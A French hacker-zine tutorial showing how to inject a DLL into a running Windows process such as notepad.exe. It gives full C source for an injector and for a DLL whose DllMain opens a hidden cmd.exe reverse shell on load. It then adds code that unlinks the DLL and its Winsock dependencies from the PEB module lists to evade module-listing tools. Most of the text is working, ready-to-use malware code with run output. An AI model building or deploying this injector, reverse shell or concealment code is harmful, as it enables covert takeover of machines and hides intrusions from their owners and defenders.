Albert Bretzel sorti en 1984 avant JC (Jean-Claude), Bonne soirée a tous.

Allay finit les conneries sur les petits pots et place au code.
Pour injecter une DLL dans un processus c'est pas bien compliqué, on
reprend le code de la dernière fois et on modifie une ligne, qui dit mieux !
Voici l'idée: : précédemment on injectait un code ou plutôt un shellcode qui
s'exécutait comme un grand avec le Thread nouvellement crée avec
CreateRemoteThread(), hé bien la on va faire la même chose sauf qu'on va use
LoadLibrary, cette magnifique fonction de Windows, voici son prototype:

HMODULE LoadLibrary(
  LPCTSTR lpFileName
);

Il suffit donc de donner a LoadLibrary une string disant où est la DLL a chargée
et c'est dans la boite :] On va lancer notre Thread ds le process distant
sur le LoadLibrary de kernel32.dll et sur la stack, pointé par esp+4, on aura
comme argument un pointeur sur la string de la DLL.

LPTHREAD_START_ROUTINE
Injector=(LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("kernel32.dll",\
"LoadLibrary");

On defini ici le début de notre Thread sur LoadLibrary.

DWORD ThreadID;
HANDLE hThread=CreateRemoteThread(hProc, NULL, 0, Injector , Arg, 0,&ThreadID);

En fait injector est un pointeur sur le code que nous voulons effectuer.
Arg est donc l'adresse de la string dans la mémoire du process a injecté que
l'on a précédemment écrit avec WriteProcessMemory().

Allay voila le code:

#define WIN32_LEAN_AND_MEAN #include <windows.h> #include <stdio.h> #include <string.h> #include <tlhelp32.h> int NameToPid(char *ProcessName); int main (int argc,char *argv[]) { if (argc !=3){ printf("Usage is :inject <process> <dll path>\n"); return 0; } printf("[*]Ownage du processus: %s\n",argv[1]); HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, NameToPid(argv[1])); if(hProc==NULL) { printf("Error with OpenProcess: %d\n",GetLastError()); return -1; } printf("[*]Handle: 0x%x\n",hProc); int cbCodeSize = strlen(argv[2]) + 1; printf("[*]CodeSize: %d\n",cbCodeSize); LPVOID Arg = VirtualAllocEx(hProc, NULL, cbCodeSize,\ MEM_COMMIT,PAGE_EXECUTE_READWRITE); if (Arg==NULL) { printf("Error with VirtualAllocEx: %d\n",GetLastError()); return -1; } printf("[*]Emplacement memoire: 0x%x\n",Arg); if (WriteProcessMemory(hProc, Arg, argv[2], cbCodeSize, 0) == FALSE) { printf("Error with WriteProcessMemory: %d\n",GetLastError()); return -1; } LPTHREAD_START_ROUTINE Injector=(LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("kernel32.dll")\ ,"LoadLibraryA"); DWORD ThreadID; HANDLE hThread = CreateRemoteThread(hProc, NULL, 0, Injector , Arg, 0,\ &ThreadID); if (hThread==NULL) { printf("Error with CreateRemoteThread: %d\n",GetLastError()); return -1; } if (WaitForSingleObject(hThread, INFINITE)==WAIT_FAILED) { printf("Error with WaitForSingleObject: %d\n",GetLastError()); return -1; } if(VirtualFreeEx(hProc, Arg, 0, MEM_DECOMMIT)==FALSE) { printf("Error with VirtualFreeEx: %d\n",GetLastError()); return -1; } if(CloseHandle(hThread)==FALSE) { printf("Error with CloseHandle: %d\n",GetLastError()); return -1; } printf("[*]Target injected\n"); return 0; } int NameToPid(char *ProcessName) { HANDLE hProcessSnap; PROCESSENTRY32 pe32; hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); if(hProcessSnap == INVALID_HANDLE_VALUE) { printf("Error with CreateToolhelp32Snapshot: 0x%x\n",GetLastError() ); } pe32.dwSize = sizeof(PROCESSENTRY32); if( !Process32First( hProcessSnap, &pe32 ) ) { printf("Error with Process32First: %d\n",GetLastError()); CloseHandle(hProcessSnap); } while(Process32Next(hProcessSnap,&pe32)!=0) { if(_stricmp(pe32.szExeFile,ProcessName)==0) { CloseHandle(hProcessSnap); return pe32.th32ProcessID; } } CloseHandle(hProcessSnap); return 0; }
c:\>inject_dll notepad.exe c:\dll_injected.dll [*]Ownage du processus: notepad.exe [*]Handle: 0x3d4 [*]CodeSize: 20 [*]Emplacement memoire: 0x720000 [*]Target injected Ha vi truc bête que j'ai laissé par flemmardise, le codesize est en fait la taille de la string du path de la dll, pareil l'emplacement mémoire correspond a l'endroit ou est balancé la string en mem :) Cette méthode revient a faire chargé dynamiquement une DLL par un process, alors maintenant intéressons-nous a cette DLL. --------[2.Fuck me i'm a DLL Voici le main d'une DLL: BOOL APIENTRY DllMain (HINSTANCE hInstance, DWORD dwReason, LPVOIDlpReserved); hInstance étant le Handle de notre DLL (l'endroit ou elle est en mémoire), dwReason elle la cause de l'appel de la fct main et l'autre est la pour décorer. Nous on s'intéresse uniquement aux causes de l'appel de la fct main() winNT.h #define DLL_PROCESS_ATTACH 1 #define DLL_THREAD_ATTACH 2 #define DLL_THREAD_DETACH 3 #define DLL_PROCESS_DETACH 0 On veut que notre code soit exécuté lorsque que la DLL est chargée dans le process on met alors: if(dwReason!=DLL_PROCESS_ATTACH) return TRUE; Le TRUE est important, car FALSE indique que le chargement a foiré. Voici sans attendre le code d'une DLL qui va lancer un reverse shell sur l'ip 127.0.1 et sur le port 8080:
#include <winsock2.h> BOOL APIENTRY DllMain (HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved) { // On ne traite pas les raisons autres que l'initialisation de la DLL if(dwReason!=DLL_PROCESS_ATTACH) return TRUE; WSADATA wd; SOCKET sock; STARTUPINFO si; PROCESS_INFORMATION pi; struct sockaddr_in sin; int size = sizeof(sin); memset(&sin, 0, sizeof(sin)); memset(&si, 0, sizeof(si)); WSAStartup(MAKEWORD(2,0), &wd); sock=WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); sin.sin_family = AF_INET; sin.sin_port = htons(8080); sin.sin_addr.s_addr = inet_addr("127.0.0.1"); bind(sock, (struct sockaddr *)&sin, size); connect(sock, (struct sockaddr *)&sin, size); si.cb = sizeof(si); si.dwFlags = STARTF_USESTDHANDLES; si.hStdInput = si.hStdOutput = si.hStdError = (void *)sock; CreateProcess( NULL, "cmd.exe", NULL, NULL, true, IDLE_PRIORITY_CLASS|CREATE_NO_WINDOW, NULL, NULL, &si, &pi ); return 0; }
Ha p-e qu'une explication serait bienvenue pour ces deux lignes: si.dwFlags = STARTF_USESTDHANDLES; si.hStdInput = si.hStdOutput = si.hStdError = (void *)sock; 'si' est une structure de type STARTUPINFO: typedef struct _STARTUPINFO { DWORD cb; LPTSTR lpReserved; LPTSTR lpDesktop; LPTSTR lpTitle; DWORD dwX; DWORD dwY; DWORD dwXSize; DWORD dwYSize; DWORD dwXCountChars; DWORD dwYCountChars; DWORD dwFillAttribute; DWORD dwFlags; WORD wShowWindow; WORD cbReserved2; LPBYTE lpReserved2; HANDLE hStdInput; HANDLE hStdOutput; HANDLE hStdError; } STARTUPINFO, *LPSTARTUPINFO; En fait en faisant si.hStdInput = si.hStdOutput = si.hStdError = (void *)sock; On dit que l'entrée/sortie du processus crée sera redirigée vers le socket et donc qu'on pourra dialoguer avec le process à travers le socket. De plus, il faut utiliser WSASocket() à la place de socket() car avec ce dernier le socket aura l'attribut overlapped (asynchrone), petite explication :] Imaginez que vous ayez besoin d'écrire un file sur le disque et que cette opération est déjà réalisée par un autre process, hum soit vous attendez comme un con que l'autre finisse et donc vous perdez du tps et de la fluidité, soit vous mettez vos fonctions d'I/O en overlapped et la le code continuera d'être exécuter même si le fichier n'a pas été écrit tandis que ce qui doit être écrit le sera lorsque la ressource sera libre. Dans notre cas il vaut mieux éviter d'utiliser cet attribut et de rester synchrone avec l'I/O du process pipé. NB: de toute facon ca marche pas autrement :} --------[3.Les Experts en UserLand Hum et now ? On a injecté une DLL dans un process et un jour on lance un tool comme PEID ou LORDPE et on voit que le process a des DLL bizarres avec lui, genre le notepad qui tourne avec ws2_32.dll .... Après désassemblage de ces exécutables on voit qu'ils utilisent les fonctions de la DLL psapi.dll et plus précisément la fonction EnumProcessModules() la voici: BOOL EnumProcessModules( HANDLE hProcess, HMODULE* lphModule, DWORD cb, LPDWORD lpcbNeeded ); hProcess est un handle sur le process obtenu avec l'api OpenProcess() lphModule est un tableau de DWORD qui va contenir les handles pour chaque module. cb est la taille du tableau en bytes. lpcbNeeded contient le nombre de bytes nécessaire pour contenir tout les handles, comme le tableau est alloué avant l'appel de la fonction et qu'on ne connait pas le nombre de modules du process si jamais celui est plus grand que la taille de notre tableau il faudra l'agrandir :) donc autant voir grand dès le départ et mettre un tableau de 128 DWORD. (ouais je sais j'aurais pu l'allouer dynamiquement, mais j'avais la flemme....) Allay tout de suite le code qui fait tout ca:
#include <windows.h> #include <tlhelp32.h> #include <psapi.h> #include <stdio.h> #pragma comment(lib,"Psapi.lib"); int NameToPid(char *ProcessName) { HANDLE hProcessSnap; PROCESSENTRY32 pe32; hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); if(hProcessSnap == INVALID_HANDLE_VALUE) { printf("Error with CreateToolhelp32Snapshot: 0x%x\n",GetLastError() ); } pe32.dwSize = sizeof(PROCESSENTRY32); if( !Process32First( hProcessSnap, &pe32 ) ) { printf("Error with Process32First: %d\n",GetLastError()); CloseHandle(hProcessSnap); } while(Process32Next(hProcessSnap,&pe32)!=0) { if(_stricmp(pe32.szExeFile,ProcessName)==0) { CloseHandle(hProcessSnap); return pe32.th32ProcessID; } } CloseHandle(hProcessSnap); return 0; } int main(int argc, char *argv[]) { HANDLE hProcess; HMODULE hModule[128]; ULONG BytesNeeded; char ModuleName[MAX_PATH]; MODULEINFO ModuleInfo; if(argc!=2) { printf("Usage is: psapi <Process name>\n"); return 0; } hProcess=OpenProcess(PROCESS_ALL_ACCESS,false,NameToPid(argv[1])); if(hProcess==NULL) return 0; if(EnumProcessModules(hProcess,hModule,sizeof(hModule),&BytesNeeded)==0) { CloseHandle(hProcess); return 0; } printf("Number of modules: %d\n",BytesNeeded/sizeof(ULONG)); for(int i=0;i < BytesNeeded/sizeof(ULONG);i++) { GetModuleBaseName(hProcess,hModule[i],ModuleName,sizeof(ModuleName)); printf("Module Name: %s\n",ModuleName); } return 0; }
Voici ce que ça donne avec le notepad: C:\ProgHack\c>psapi notepad.exe Number of modules: 14 Module Name: notepad.exe Module Name: ntdll.dll Module Name: comdlg32.dll Module Name: SHLWAPI.DLL Module Name: ADVAPI32.dll Module Name: KERNEL32.dll Module Name: RPCRT4.dll Module Name: GDI32.dll Module Name: USER32.dll Module Name: msvcrt.dll Module Name: COMCTL32.DLL Module Name: SHELL32.DLL Module Name: WINSPOOL.DRV Module Name: MPR.DLL Et voici toujours le notepad mais avec notre DLL injectée: C:\ProgHack\c>psapi notepad.exe Number of modules: 19 Module Name: notepad.exe Module Name: ntdll.dll Module Name: comdlg32.dll Module Name: SHLWAPI.DLL Module Name: ADVAPI32.dll Module Name: KERNEL32.dll Module Name: RPCRT4.dll Module Name: GDI32.dll Module Name: USER32.dll Module Name: msvcrt.dll Module Name: COMCTL32.DLL Module Name: SHELL32.DLL Module Name: WINSPOOL.DRV Module Name: MPR.DLL Module Name: dll_injected.dll Module Name: WS2_32.dll Module Name: WS2HELP.DLL Module Name: msafd.dll Module Name: wshtcpip.dll Whaou, 5 modules en plus c'est pas super discret tout ca, surtout quand on voit que le notepad commence a utiliser la DLL ws2_32.dll on est droit de se poser des questions :] --------[4.\x55\x8B\xEC Bon, alors maintenant on s'arrête 2 sec et on, du moins faisons semblant, essaye de réfléchir. Il est clair que le processus qui va voir à quoi ressemblent les DLL dans un autre process n'a pas fait cela en ring 3 car je le rappel chaque process a SON PROPRE ET UNIQUE espace mémoire et ne peut accéder a celui de ses voisins. Il y a donc forcément de l'api native là-dessous qui permet le passage du UserLand au KernelLand, voici ce qu'on obtient en désassemblant une partie de la fonction EnumProcessModules de la DLL psapi.dll: 68EA19AE . 53 ; /pReqsize => NULL 68EA19AF . 6A 18 ; |Bufsize = 18 (24.) 68EA19B1 . 8D45 C0 ; | 68EA19B4 . 50 ; |Buffer 68EA19B5 . 53 ; |InfoClass => 0 68EA19B6 . FF75 08 ; |hProcess 68EA19B9 . FF15 3810EA68 ; \ZwQueryInformationProcess 68EA19BF . 3BC3 68EA19C1 . 7D 15 68EA19C3 . 50 ; /Arg1 68EA19C4 . FF15 4410EA68 ; \RtlNtStatusToDosError 68EA19CA . 50 ; /Error 68EA19CB . FF15 A010EA68 ; \SetLastError 68EA19D1 > 33C0 68EA19D3 . E9 C2000000 68EA19D8 > 53 ; /pBytesRead 68EA19D9 . 6A 04 ; |BytesToRead = 4 68EA19DB . 8D45 B8 ; | 68EA19DE . 50 ; |Buffer 68EA19DF . 8B45 C4 ; | 68EA19E2 . 83C0 0C ; | 68EA19E5 . 50 ; |pBaseAddress 68EA19E6 . FF75 08 ; |hProcess 68EA19E9 . 8B3D AC10EA68 ; |KERNEL32.ReadProcessMemory 68EA19EF . FFD7 ; \ReadProcessMemory 68EA19F1 . 85C0 68EA19F3 .^ 74 DC 68EA19F5 . 8B45 B8 68EA19F8 . 83C0 14 68EA19FB . 8945 B4 68EA19FE . 53 ; /pBytesRead 68EA19FF . 6A 04 ; |BytesToRead = 4 68EA1A01 . 8D4D DC ; | 68EA1A04 . 51 ; |Buffer 68EA1A05 . 50 ; |pBaseAddress 68EA1A06 . FF75 08 ; |hProcess 68EA1A09 . FFD7 ; \ReadProcessMemory 68EA1A0B . 85C0 En traçant cette fonction on s'aperçoit que la fonction native NtQueryInformationProcess() réalise le passage en ring0 et sert a obtenir l'addr du PEB dans le process distant. kd> dt !_PEB +0x000 InheritedAddressSpace : UChar +0x001 ReadImageFileExecOptions : UChar +0x002 BeingDebugged : UChar +0x003 SpareBool : UChar +0x004 Mutant : Ptr32 Void +0x008 ImageBaseAddress : Ptr32 Void +0x00c Ldr : Ptr32 _PEB_LDR_DATA [...] puis on se déplace de 0xC dans la structure avec ce code: 68EA19DF . 8B45 C4 MOV EAX,DWORD PTR SS:[EBP-3C] ; |PEB 68EA19E2 . 83C0 0C ADD EAX,0C ; |PEB+0xC 68EA19E5 . 50 PUSH EAX ; |pBaseAddress Après le ReadProcessMemory() nous permet d'obtenir un pointeur sur une structure _PEB_LDR_DATA (tout cela on le recup dans un autre process n'oubliez pas) kd> dt !_PEB_LDR_DATA +0x000 Length : Uint4B +0x004 Initialized : UChar +0x008 SsHandle : Ptr32 Void +0x00c InLoadOrderModuleList : _LIST_ENTRY +0x014 InMemoryOrderModuleList : _LIST_ENTRY +0x01c InInitializationOrderModuleList : _LIST_ENTRY Puis on se déplace de 0x14 dans celle ci avec ce chtit code: 68EA19F5 . 8B45 B8 MOV EAX,DWORD PTR SS:[EBP-48] ; |_PEB_LDR_DATA 68EA19F8 . 83C0 14 ADD EAX,14 On a donc un pointeur sur une double liste chaînée (LIST_ENTRY) et plus précisément sur le membre suivant de cette liste (Flink). InMemoryOrderModuleList, contient des structures de type LDR_DATA_TABLE_ENTRY que voici: kd> dt nt!_LDR_DATA_TABLE_ENTRY +0x000 InLoadOrderLinks : _LIST_ENTRY +0x008 InMemoryOrderLinks : _LIST_ENTRY +0x010 InInitializationOrderLinks : _LIST_ENTRY +0x018 DllBase : Ptr32 Void +0x01c EntryPoint : Ptr32 Void +0x020 SizeOfImage : Uint4B +0x024 FullDllName : _UNICODE_STRING +0x02c BaseDllName : _UNICODE_STRING +0x034 Flags : Uint4B +0x038 LoadCount : Uint2B +0x03a TlsIndex : Uint2B +0x03c HashLinks : _LIST_ENTRY +0x03c SectionPointer : Ptr32 Void +0x040 CheckSum : Uint4B +0x044 TimeDateStamp : Uint4B +0x044 LoadedImports : Ptr32 Void Donc le programme va parcourir cette liste chainée pour y trouver les informations en mémoire à propos des modules. --------[5.La disparition des modules en UserLand Voila qui devient intéressant et c'est (en partie) pour vous montrez cela que j'ai écrit cet article, il suffit donc de modifier cette double liste afin que notre module passer inaperçu, ho yeah, soirée mousse !!!! Notre DLL va donc se composer d'un nouveau morceau de code qui permettra de la rentre "furtive" et tout cas a tout les programmes qui utilisent EnumProcessModules, déja PEID et LordPe (ce n'est qu'un début). +----------+ +----------+ +----------+ | Module 1 | | Module 2 | | Module 3 | | Flink |<-+---->| Flink |<-+--->| Flink |----> <---| Blink | |-----| Blink | |----| Blink | +----------+ +----------+ +----------+ (le Blink ne pointe pas sur le précédent Blink mais bien sur le précédent Flink) Voici ce que l'on veut obtenir: +------------------+ | | +----------+ | +----------+ | +----------+ | Module 1 | | | Module 2 | | | Module 3 | | Flink |<-+--+ | Flink |<---+->| Flink |----> <---| Blink | |-----| Blink | +---| Blink | +----------+ | +----------+ | +----------+ | | +--------------------+ (Vous trouvez ces schémas pourris? Envoyer un mail à Ivanlef0u119@yahoo.fr pour tout reproches, insultes, whines) Allay tout de suite le code qui réalise cela:
int DLLHiding(LPSTR ModuleToHide) { PPEB_LDR_DATA PLDR_DATA; _asm{ mov eax,fs:[30h] //Sur le PEB mov eax,[eax+0Ch] //PEB->LoaderData mov PLDR_DATA,eax } char ModuleName[MAX_PATH]=""; PLDR_MODULE PModule; PModule=(PLDR_MODULE)PLDR_DATA->InMemoryOrderModuleList.Flink; PModule=(PLDR_MODULE)((PBYTE)PModule-0x8); do{ PModule=(PLDR_MODULE)PModule->InMemoryOrderModuleList.Flink; PModule=(PLDR_MODULE)((PBYTE)PModule-0x8); SecureZeroMemory(ModuleName,MAX_PATH); WideCharToMultiByte(CP_ACP, 0,PModule->FullDllName.Buffer,-1,ModuleName\ , MAX_PATH-1, NULL, NULL); }while(!strstr(ModuleName,ModuleToHide)); //Now on cache notre module PModule->InMemoryOrderModuleList.Blink->Flink=PModule->InMemoryOrderModuleLi st.Flink; PModule->InMemoryOrderModuleList.Flink->Blink=PModule->InMemoryOrderModuleLi st.Blink; return 1; }
Ce code n'est pas trop compliqué dans ce qu'il fait (ou pas) Il va sur PEB du process puis dans la structure LoaderData et parcourt avec la boucle do{}while(); la liste InMemoryOrderModuleList. Il récupère le nom du module et le compare avec le nôtre, si c'est bon on arrête et on cache notre module avec ces lignes étranges et venues d'ailleurs: PModule->InMemoryOrderModuleList.Blink->Flink=PModule- >InMemoryOrderModuleList.Flink; Cela signifie que l'on définit le Flink de la structure précédente à la valeur du Flink actuel c'est-à-dire sur la structure suivante (gruuut ?). PModule->InMemoryOrderModuleList.Flink->Blink=PModule- >InMemoryOrderModuleList.Blink; Pareil on définit le Blink de la structure suivante à la valeur de notre Blink, donc sur l'entrée précédente. Ha aussi le rôle de cette ligne PModule=(PLDR_MODULE)((PBYTE)PModule-0x8); En fait comme un membre de la liste pointe tjrs sur un autre membre on arrive non pas a début de la structure, mais sur la struct InMemoryOrderModuleList donc pour pointer sur le début de la struct LDR_MODULE on soustrait 8 au pointeur courant. kd> dt nt!_LDR_DATA_TABLE_ENTRY +0x000 InLoadOrderLinks : _LIST_ENTRY +0x008 InMemoryOrderLinks : _LIST_ENTRY //<- on arrive ici +0x010 InInitializationOrderLinks : _LIST_ENTRY [...] Et maintenant le grand moment on teste tout cela, voici les results avec tjrs notre ami le notepad: C:\ProgHack\c>psapi notepad.exe Number of modules: 18 Module Name: notepad.exe Module Name: ntdll.dll Module Name: comdlg32.dll Module Name: SHLWAPI.DLL Module Name: ADVAPI32.dll Module Name: KERNEL32.dll Module Name: RPCRT4.dll Module Name: GDI32.dll Module Name: USER32.dll Module Name: msvcrt.dll Module Name: COMCTL32.DLL Module Name: SHELL32.DLL Module Name: WINSPOOL.DRV Module Name: MPR.DLL Module Name: WS2_32.dll Module Name: WS2HELP.DLL Module Name: msafd.dll Module Name: wshtcpip.dll Heyhey! 18 modules on a réussi à cacher notre DLL :] Pour le reste, il suffit de procéder de la même façon a appelant la fct avec un comme argument un nom de module a caché et c'est tout bon :} -------[6.Bonus Track Hum pourquoi un bonus track ? Parce que j'aime aller au fond de choses (ho yeah) et que je vous est menti en disant la DLL était complètement invisible, il existe encore une Api qui permet de voir cette foutue DLL, c'est en utilisant CreateToolHelp32Snapshot() avec l'option TH32CS_SNAPMODULE que j'ai remarqué cela, voici le bout de code qui ma enculée....
#include <windows.h> #include <tlhelp32.h> #include <stdio.h> int NameToPid(char *ProcessName) { HANDLE hProcessSnap; PROCESSENTRY32 pe32; hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); if(hProcessSnap==INVALID_HANDLE_VALUE) { printf("Error with CreateToolhelp32Snapshot: 0x%x\n",GetLastError()); } pe32.dwSize=sizeof(PROCESSENTRY32); if(!Process32First(hProcessSnap,&pe32)) { printf("Error with Process32First: %d\n",GetLastError()); CloseHandle(hProcessSnap); } while(Process32Next(hProcessSnap,&pe32)!=0) { if(_stricmp(pe32.szExeFile,ProcessName)==0) { CloseHandle(hProcessSnap); return pe32.th32ProcessID; } } CloseHandle(hProcessSnap); return 0; } int main(int argc,char *argv[]) { if (argc!=2) { printf("Usage is: createtoolhelp32snapshot <Process name>"); return 0; } HANDLE hModuleSnap=NULL; MODULEENTRY32 me32={0}; hModuleSnap=CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, NameToPid(argv[1])); if (hModuleSnap==INVALID_HANDLE_VALUE) return (FALSE); me32.dwSize = sizeof(MODULEENTRY32); if(Module32First(hModuleSnap,&me32)) do{ printf("Module: %s\n",me32.szModule); }while(Module32Next(hModuleSnap,&me32)); CloseHandle (hModuleSnap); }
Voici ce que ça ressort: C:\ProgHack\c>createtoolhelp32snapshot notepad.exe Module Name: notepad.exe Module Name: ntdll.dll Module Name: comdlg32.dll Module Name: SHLWAPI.DLL Module Name: ADVAPI32.dll Module Name: KERNEL32.dll Module Name: RPCRT4.dll Module Name: GDI32.dll Module Name: USER32.dll Module Name: msvcrt.dll Module Name: COMCTL32.DLL Module Name: SHELL32.DLL Module Name: WINSPOOL.DRV Module Name: MPR.DLL Module Name: dll_injected.dll Module Name: WS2_32.dll Module Name: WS2HELP.DLL Module Name: msafd.dll Module Name: wshtcpip.dll Argh notre dll apparait quand meme !!! C'est reparti pour reverser l'API CreateToolHelp32SnapShot(), alors après avoir tracé dans tout les sens je suis arriver dans ntdll, plus précisément dans LdrQueryProcessModuleInformation (si c'est pas parlant ça...) et je vois cette ligne : 7846DE3F |> \8B47 0C MOV EAX,DWORD PTR DS:[EDI+C] avec EDI qui pointe sur une structure _PEB_LDR_DATA, haha le voilà notre prob, souvenez vous précédemment nous modifions la la double liste InMemoryOrderModuleList qui est 0x14 dans _PEB_LDR_DATA et ici le code utilise la liste InLoadOrderModuleList que nous ne modifions pas donc la DLL est toujours "visible". Il ne reste plus qu'a c/c notre code précédent en modifiant 2,3 trucs et c'est tout bon, allée le code entier de la DLL qui met en oeuvre tout ça avec en comment le code pour la dernière liste (InInitializationOrderLinks):
#include <winsock2.h> #include <Ntsecapi.h> #include <shlwapi.h> #pragma comment (lib,"shlwapi.lib") #define DLLName "dll_injected.dll" typedef struct _PEB_LDR_DATA { ULONG Length; BOOLEAN Initialized; PVOID SsHandle; LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; } PEB_LDR_DATA, *PPEB_LDR_DATA; typedef struct _LDR_MODULE { LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; PVOID BaseAddress; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; ULONG Flags; SHORT LoadCount; SHORT TlsIndex; LIST_ENTRY HashTableEntry; ULONG TimeDateStamp; } LDR_MODULE, *PLDR_MODULE; int DLLHiding(LPSTR ModuleToHide) { PPEB_LDR_DATA PLDR_DATA; _asm{ mov eax,fs:[30h] //Sur le PEB mov eax,[eax+0Ch] //PEB->LoaderData mov PLDR_DATA,eax } char ModuleName[MAX_PATH]=""; PLDR_MODULE PModule; /* PModule=(PLDR_MODULE)PLDR_DATA->InInitializationOrderModuleList.Flink; PModule=(PLDR_MODULE)((PBYTE)PModule-0x10); do { PModule=(PLDR_MODULE)PModule->InInitializationOrderModuleList.Flink; PModule=(PLDR_MODULE)((PBYTE)PModule-0x10); memset(ModuleName,0,sizeof(ModuleName)); WideCharToMultiByte(CP_ACP, 0,PModule->FullDllName.Buffer,-1\ ,ModuleName,MAX_PATH-1, NULL, NULL); }while(!StrStrI(ModuleName,ModuleToHide)); //Now on cache notre module PModule->InInitializationOrderModuleList.Blink->Flink=PModule ->InInitializationOrderModuleList.Flink; PModule->InInitializationOrderModuleList.Flink->Blink=PModule ->InInitializationOrderModuleList.Blink; memset(ModuleName,0,sizeof(ModuleName)); */ /*******************************/ memset(ModuleName,0,sizeof(ModuleName)); PModule=(PLDR_MODULE)PLDR_DATA->InMemoryOrderModuleList.Flink; PModule=(PLDR_MODULE)((PBYTE)PModule-0x8); do{ PModule=(PLDR_MODULE)PModule->InMemoryOrderModuleList.Flink; PModule=(PLDR_MODULE)((PBYTE)PModule-0x8); SecureZeroMemory(ModuleName,MAX_PATH); WideCharToMultiByte(CP_ACP, 0,PModule->FullDllName.Buffer,-1\ ,ModuleName,MAX_PATH-1, NULL, NULL); }while(!StrStrI(ModuleName,ModuleToHide)); //Now on cache notre module PModule->InMemoryOrderModuleList.Blink->Flink=PModule ->InMemoryOrderModuleList.Flink; PModule->InMemoryOrderModuleList.Flink->Blink=PModule ->InMemoryOrderModuleList.Blink; memset(ModuleName,0,sizeof(ModuleName)); /*******************************/ PModule=(PLDR_MODULE)PLDR_DATA->InLoadOrderModuleList.Flink; PModule=(PLDR_MODULE)((PBYTE)PModule-0x0); do{ PModule=(PLDR_MODULE)PModule->InLoadOrderModuleList.Flink; PModule=(PLDR_MODULE)((PBYTE)PModule-0x0); memset(ModuleName,0,sizeof(ModuleName)); WideCharToMultiByte(CP_ACP, 0,PModule->FullDllName.Buffer,-1\ ModuleName ,MAX_PATH-1, NULL, NULL); }while(!StrStrI(ModuleName,ModuleToHide)); //Now on cache notre module PModule->InLoadOrderModuleList.Blink->Flink=PModule ->InLoadOrderModuleList.Flink; PModule->InLoadOrderModuleList.Flink->Blink=PModule ->InLoadOrderModuleList.Blink; return true; } BOOL APIENTRY DllMain (HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved) { // On ne traite pas les raisons autres que l'initialisation de la DLL if(dwReason!=DLL_PROCESS_ATTACH) return TRUE; WSADATA wd; SOCKET sock; STARTUPINFO si; PROCESS_INFORMATION pi; struct sockaddr_in sin; int size = sizeof(sin); memset(&sin, 0, sizeof(sin)); memset(&si, 0, sizeof(si)); WSAStartup(MAKEWORD(2,0), &wd); sock=WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); sin.sin_family = AF_INET; sin.sin_port = htons(8080); sin.sin_addr.s_addr = inet_addr("127.0.0.1"); bind(sock, (struct sockaddr *)&sin, size); connect(sock, (struct sockaddr *)&sin, size); si.cb = sizeof(si); si.dwFlags = STARTF_USESTDHANDLES; si.hStdInput = si.hStdOutput = si.hStdError = (void *)sock; CreateProcess( NULL, "cmd.exe", NULL, NULL, true, IDLE_PRIORITY_CLASS|CREATE_NO_WINDOW, NULL, NULL, &si, &pi ); //osef de la casse avec les StrStrI DLLHiding(DLLName); DLLHiding("ws2_32.dll"); DLLHiding("msafd.dll"); DLLHiding("wshtcpip.dll"); DLLHiding("ws2help.dll"); return true; }
Ouf ! quelle soirée je crois qu'après toutes ces émotions je vais aller me coucher moi :). Évidemment, j'aurais pu vous balancer dans la gueule comme ça le code qui planquait la DLL directement dans les trois listes chainées, mais je trouve que de voir le raisonnement qui m'a fait aboutir à ce code est plus instructif. En fait la seule fois ou j'ai vu cette méthode implémentée c'était dans Phrack (p62 -0x0c) ou Kdm ,un frenchie encore ;), le faisait directement en modifiant les 3 listes, moi j'ai voulu savoir si cela était réellement nécessaire et ça passait par du reversage d'API win pour finalement voir que face aux 2 API les plus connus pour voir les modules d'un process modif 2 listes suffisaient. Par contre je tiens a dire que cette méthode ne peut rien contre un scan de la mémoire la DLL étant forcément dans celle ci on pourra toujours la détectée. --------[7.Happy End Que je suis méchant, je viens de vous faire lire (ou pas) 30 ko sur la manière de cacher une DLL dans un process, ce n'est p-e pas la chose la plus intéressante du monde, mais ça peut toujours servir. Ce qui en revanche sert beaucoup plus c'est de cacher un process (vivi un process vous avez bien lu) et pas un pauvre code en ring3 qui hook 2 API en bois, nian je parle ici de code noyau qui réalise du DKOM (Direct Kernel Object Manipulation) une méthode implémentée par le Rootkit FU et qui permet de rendre quasi-invisible a la fois en UserLand et au noyau un prog mais ça, ca sera pour le prochain épisode mes enfants ;). En attendant votre avis m'intéresse beaucoup sur à la fois le zine et ce que j'ecris, n'hésitez pas a me contact: ivanlef0u119@yahoo.fr, comme d'hab les src seront sur mon site ds zines/moi. Maintenant vous pouvez éteindre votre téléviseur et reprendre une activité normale, bonsoir ! Ivanlef0u EMail:ivanlef0u119@yahoo.fr WebSite: http://membres.lycos.fr/moi118118 --------[ References phrack 62-0x0c: http://membres.lycos.fr/moi118118/zines/PHRACK.rar EnumProcessModules: http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dllproc/ base/enumprocessmodules.asp CreateToolHelp32Snapshot: http://msdn.microsoft.com/library/default.asp?url=/library/en- us/dllproc/base/createtoolhelp32snapshot.asp DLL: http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dllproc/base/dl lmain.asp
